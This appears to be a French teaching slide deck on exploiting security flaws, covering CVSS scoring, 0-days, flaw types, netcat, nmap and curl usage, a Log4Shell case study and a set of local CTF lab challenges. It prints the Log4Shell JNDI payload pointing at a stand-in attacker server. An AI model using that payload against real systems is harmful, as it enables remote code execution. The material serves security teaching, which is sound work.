Failles de sécurité

Par Louis “Nullptr” Crespin

Objectif : présenter l’univers des failles de sécurité

Non pas comment elles sont trouvées mais comment elles sont exploitées

Plan :

  • Vocabulaire

  • Cycle de vie d’une faille de sécurité

  • Exploitation

  • Quelques outils

  • Exemple

  • Challenges !

Vocabulaire

CVSS : Common Vulnerability Scoring System

Manière de classer les failles de sécurité

Score entre 0 et 10

Prend en compte :

  • le moyen d’entrer dans le système

  • la complexité

  • le type d’accès permis (données client…)

  • la menace pour l’intégrité et la disponibilité

  • la temporalité

  • les systèmes réels concernés


Exploit

Programme ou extrait de programme permettant d’exploiter une faille de sécurité

0-day

Faille pour laquelle il n’y a aucun correctif connu : “jour 0” après sa publication

Marché des 0-day : en 2012 entre 5 000 $ et 250 000 $ (source Wikipedia)

Ex : Stuxnet, virus américano-israëlien contre le programme nucléaire iranien en 2010, utilisait plusieurs 0-day dans Windows

Type de failles

  • dépassement de tampon (buffer overflow)

  • dépassement de tas (heap overflow)

  • dépassement d'entier (integer overflow)

  • dépassement de pile (stack overflow)

  • format string attack

  • situation de compétition (race condition)

  • injection de code (code injection)

  • injection SQL

  • cross-site scripting (XSS)

  • Remote Code Execution (RCE)

  • Porte dérobée (Backdoor)

Cycle de vie d’une faille de sécurité

  • (Découverte par des hackers mal intentionnés)

  • Découverte par des hackers bien intentionnés

  • Exploit

  • Publication auprès de l’éditeur du logiciel

  • Patch

  • Publication auprès du grand public

  • CTF ;-)

Exploitation

Pour exploiter des failles de sécurité connues :

  • On cherche quels outils le système utilise

  • Quelles versions il utilise

  • On cherche s’il y a des exploits connus

  • On les adapte à notre besoin

Quelques outils

Netcat

Outil très basique qui sert à établir des connexions TCP ou UDP

nc ip port : comme telnet/ssh, mais sans encryption

nc -l -p port : ouvre un serveur de connexion

Nmap

Scanner les ports d’une machine, ou de toutes les machines d’un sous-réseau

Jamais sur les infras d’ARISE !

nmap ip : liste de tous les ports ouverts sur cette machine

$ nmap 192.168.1.21
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-21 13:52 CET
Nmap scan report for 192.168.1.21
Host is up (0.015s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds
8080/tcp open   http-proxy
8081/tcp closed blackice-icecap

Curl

Commande pratique pour faire des requêtes “à la main”

curl URL : requête simple

curl -o fichier URL : sauvegarder dans fichier

curl -H "Header: value" URL : ajouter un header

curl -u user:pass URL : connexion à certains sites avec un login/password

…

Exemple : Log4Shell

Log4J : bibliothèque de log en Java, développée par Apache

24 nov 2021 : faille découverte par Alibaba Group et partagée à Apache

6 déc 2021 : correctifs publiés

9 déc 2021 : faille publiée

CVSS 10

“la vulnérabilité la plus importante et la plus critique de la dernière décennie”

Exploit : ${jndi:ldap://serveur_pirate/message_malveillant}

Permet d’exécuter du code Java téléchargé depuis un autre serveur => RCE

Exemples de logiciels concernés : ICloud, Minecraft, Steam

Challenges !

flag à trouver, de la forme FLAG{…}

gunzip -c lab.tar.gz | docker load
docker compose up -d

Challenge 1

serveur telnet tournant sur le port 2323

Challenge 2

serveur ftp

Challenge 3

appli web